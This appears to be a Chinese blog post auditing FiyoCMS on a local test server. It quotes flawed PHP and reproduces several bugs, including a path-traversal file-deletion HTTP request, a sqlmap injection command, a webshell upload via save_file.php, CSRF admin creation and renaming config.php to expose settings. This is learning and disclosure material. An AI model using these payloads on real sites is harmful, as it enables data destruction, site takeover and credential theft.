0x00 前言
上午上了网课,一上午就装好了cms,下午还有网课,要是结束的早就进行审计。
解决了一下phpstudy使用过程中:
Forbidden You don't have permission to access /install on this server.
解决方法:
加个index.php等入口文件
2:
其他选项菜单->软件设置->允许目录列表
0x01 通读代码
先看入口文件:
index.php
判断了一下config.php是否存在,不存在会进行安装cms
否则包含system/core.php
我们跟进。
看到包含了一堆文件,我们跟进去读
简单看了一下,就是创建数据库,链接数据库
site.php
过滤了很多非法字符
最后删除Installer.php
避免网站重装。
user.php
USER_LEVEL有分级
0x02 根据审计结果来通读
上面读了一些配置文件,接下来根据审计结果来读
根据之前的审计经验,任意文件删除漏洞还是比较好找的,而且这种远古cms还挺多的233
0x03 任意文件删除漏洞
我们看
/dapur/apps/app_config/controller/backuper.php
15-30行
if(isset($_POST['type'])) {
if($_POST['type'] == 'database') {
@unlink("../../../../.backup/$_POST[file]");
if(!file_exists('../../../../.backup'))
mkdir('../../../../.backup');
$date = md5(date("Ymd:His"));
$file = "db-backup-$date";
$c = backup_tables("*",'../../../../.backup',"$file",true);
if($c) {
$size =
format_size(filesize("../../../../.backup/$file.sql"));
$time = date("Y/m/d
H:i:s",filemtime("../../../../.backup/$file.sql"));
$r = "$size - $time";
echo "{ :$file.sql, :$r}";
}
}
和前几个cms一样
通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作
复现
先创建一个文件
payload:
POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bdshare_firstime=1581904550027; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=mdu33l281pnno5gpdb2ps6m4m4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
type=database&file=../k0i.php
成功复现
这个cms多处都存在这个问题。
0x04 文件上传漏洞
还有一个文件上传漏洞
位置
/dapur/apps/app_theme/libs/save_file.php
问题代码:
require_once ('../../../system/jscore.php');
$c = $_POST["content"];
$f = $_POST["src"];
$w = file_put_contents($f,$c);
显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞
复现
在网站根目录下上传一个文件名为k0i.php的一句话木马文件,结果如下图
0x05 SQL注入漏洞
在通读了代码后发现这个cms并不像之前的sql语句多,可以试着去找有关数据库的页面,也可以试着全局搜索关键字如:"select","update"等等。
我们看一下这一个SQL注入:
事实上我们的审计结果也指向了此处:
/system/database.php
public function update($table,$rows,$where)
{
$update = 'UPDATE '.$table.' SET ';
$keys = array_keys($rows);
for($i = 0; $i < count($rows); $i++){
if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !==
'+hits')
{
$update .= $keys[$i].'="'.$rows[$keys[$i]].'"';
}
else
{
if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]]
= $keys[$i] . '+'. 1;
$update .= $keys[$i].'='.$rows[$keys[$i]];
}
// Parse to add commas
if($i != count($rows)-1)
{
$update .= ',';
}
}
$update .= ' WHERE '.$where;
可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例
全局搜索找一处
if(isset($_GET['stat'])) {
if($_GET['stat']=='1'){
$db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']);
alert('success',Status_Applied,1);
}
复现:
sqlmap.py -r C:\Users\hp\Desktop\11.txt --batch --dbs
0x06 任意文件读取漏洞
问题代码:
dapur\apps\app_theme\libs\check_file.php
define('_FINDEX_','BACK');
require_once ('../../../system/jscore.php');
$file = $url= "$_GET[src]/$_GET[name]";
$furl = "../../../$url";
$content = strlen("$file") - 5;
$content = substr("$file",$content);
$file = strpos("$content",".");
$file = substr("$content",$file+1);
if($file == "html" || $file == "htm" || $file == "xhtml" || $file ==
"js" ||
$file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :
$content = @file_get_contents($furl);
$content = htmlentities($content);
?>
我们看一下:
当$file后缀名为指定文件后缀时:html、htm、xhtml、js、jsp、php、css、xml 的任意文件
通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞
复现
0x07 CSRF添加超级用户
/dapur/apps/app_user/sys_user.php
第110-123行
if(isset($_POST['save']) or isset($_POST['apply'])){
$us=strlen("$_POST[user]");
$ps=strlen("$_POST[password]");
$user = $_POST['user'];
$name = $_POST['name'];
preg_match('/[^a-zA-Z0-9]+/', $user, $matches);
if(!empty($_POST['password']) AND
!empty($_POST['user'])AND
!empty($_POST['name'])AND
!empty($_POST['email'])AND
!empty($_POST['level'])AND
$_POST['password']==$_POST['kpassword'] AND
$us>2 AND $ps>3 AND @ereg("^.+@.+\..+$",$_POST['email']) AND
!$matches) {
$qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d
H:i:s'),'',"$_POST[bio]"));
可以看到该程序实现了添加用户的功能,但是并没有使用token来防止CSRF攻击
复现:
利用bp自带的CSRF工具
生成poc:
当管理员点击我们的链接127.0.0.1/1.html时,会生成一个超级用户
0x08 任意文件名修改漏洞
dapur\apps\app_config\sys_config.php
190-193行
问题代码:
er = $_POST['folder_new'];
$old_folder = $_POST['folder_old'];
if($old_folder != $new_folder) {
$ok = @rename("../$old_folder","../$new_folder");
读一下他的功能是修改后台路径,但是没有对变量进行过滤
复现:
我们可以将 config.php 修改成 config.txt ,然后直接查看网站配置信息。
0x09 越权漏洞
fiyocms一共设置了5个用户组,等级为1-5,权限依次降低,而只有等级1-3有权限登录后台,不同等级具有不同的权限。
super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5
位置:
dapur\apps\app_user\sys_user.php
148-211行
if(isset($_POST['edit']) or isset($_POST['applyedit'])){
$us=strlen("$_POST[user]");
$ps=strlen("$_POST[password]");
$user = $_POST['user'];
$name = $_POST['name'];
$_POST["bio"] = htmlentities("$_POST[bio]");
preg_match('/[^a-zA-Z0-9]+/', $user, $matches);
if(!empty($_POST['user'])AND !empty($_POST['name'])AND
!empty($_POST['email'])AND !empty($_POST['level']) AND $us>2 AND
@ereg("^.+@.+\..+$",$_POST['email']) AND !$matches)
{
$qr = false;
if($_POST['id'] == $_SESSION['USER_ID'])
$_POST['status'] = 1;
if(empty($_POST['password'])){
$qr = $db->update(FDBPrefix.'user',array(
"user"=>"$_POST[user]",
"name"=>"$_POST[name]",
"email"=>"$_POST[email]",
"status"=>"$_POST[status]",
"about"=>"$_POST[bio]",
"level"=>"$_POST[level]"),
"id=$_POST[id]"); }
elseif($_POST['password']==$_POST['kpassword']){
$qr = $db->update(FDBPrefix.'user',array(
"user"=>"$_POST[user]",
"name"=>"$_POST[name]",
"password"=>MD5("$_POST[password]"),
"email"=>"$_POST[email]",
"about"=>"$_POST[bio]",
"status"=>"$_POST[status]",
"level"=>"$_POST[level]"),
"id=$_POST[id]");
}
if($qr AND isset($_POST['edit'])){
notice('success',User_Saved);
redirect('?app=user');
}
else if($qr AND isset($_POST['applyedit'])){
notice('success',User_Saved);
redirect(getUrl());
}
else {
notice('error',Status_Invalid,2);
}
}
else
{
notice('error',Status_Invalid,2);
}
}
}
可以看到程序在对用户账户进行操作前,并没有对用户的身份进行确认或者说没有对用户的权限进行检查,这也是越权漏洞产生的原因。
复现:
0x10 总结
到此,这个cms算是审完了。
先总结一下这个cms
与之前审计的cms不同,漏洞主要集中在后台。
而且漏洞的很多成因几乎都是未对用户提交的参数进行过滤处理。
审计起来难度不大,对我这种小白还是很友好的233
有什么收获呢:
善用全局搜索,比如sql注入,我们可以全局搜索特定操作,如"uptate".
对文件操作时,关注一下变量,是否有过滤,怎么拼接的。